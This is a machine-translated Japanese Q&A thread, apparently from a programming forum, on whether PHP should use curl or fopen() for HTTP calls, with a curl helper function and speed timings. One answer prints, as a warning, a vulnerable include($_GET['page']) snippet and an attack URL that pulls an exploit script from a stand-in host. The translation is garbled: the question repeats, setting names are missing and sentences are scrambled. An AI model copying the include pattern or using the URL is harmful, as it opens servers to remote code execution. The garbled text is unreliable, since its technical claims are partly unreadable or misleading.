私はHTTP経由でWebサービスに話す必要があるいくつかのコードを書いています。過去に私はカールライブラリを使用しました。最近、私は単にリモートURLにアクセスするためにfopen()を使うことができることに気付きました。
カールは設定が豊富で、多くのオプションがあります。その設定可能性を超えて、どのメソッドが使用されるかは重要ですか?もしそうなら、どちらがより良いのでしょうか?
私はHTTP経由でWebサービスに話す必要があるいくつかのコードを書いています。過去に私はカールライブラリを使用しました。最近、私は単にリモートURLにアクセスするためにfopen()を使うことができることに気付きました。
カールは設定が豊富で、多くのオプションがあります。その設定可能性を超えて、どのメソッドが使用されるかは重要ですか?もしそうなら、どちらがより良いのでしょうか?
fopen()
は、が有効になっている場合にのみ、php.ini
にリモートURLを開きます。
include
関数もをダウンロードし、リモートサイトから PHPコードを解析するため、これは5.2.0より前のバージョンでは非常に危険でした。素朴なコーダは簡単のようなコードで見破らことができます:攻撃者は、単にシステム上で自分のコードを実行し、活用を紹介するhttp://example.com/script.php?page=http://example.net/my_exploit_script
をお願いしてい
<?php
$page = $_GET['page'];
include($page);
?>
その時点で。残念ながら、allow_fopen_url
のデフォルト値は 'on'です。
幸い、5.2.0以降(が「オフ」にデフォルトがなければならない)、リモートコードのダウンロードからinclude
を防ぐallow_url_include
と呼ばれる個別の設定があります。
Curlを使用するオプションがある場合は、fopen
ではなく、それを使用してください。
Alnitak氏によると、CURLの使用はPHPの設定に依存しません。私は私の
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
結果といくつかの速度のテスト
file_get_contents
をやった :
0.263456821442
0.0626730918884
CURLは4倍高速です:)
サイドノート:PHPをすることができ「独自の」実装を使用する代わりにhttp url_wrapperにcurlを使用するように構成されています。
EXT /カール/ interface.c:スピードテストの
#ifdef PHP_CURL_URL_WRAPPERS # if HAVE_CURL_VERSION_INFO { curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); char **p = (char **)info->protocols; while (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } # else php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # endif #endif
良い徹底的な答え+1 – alex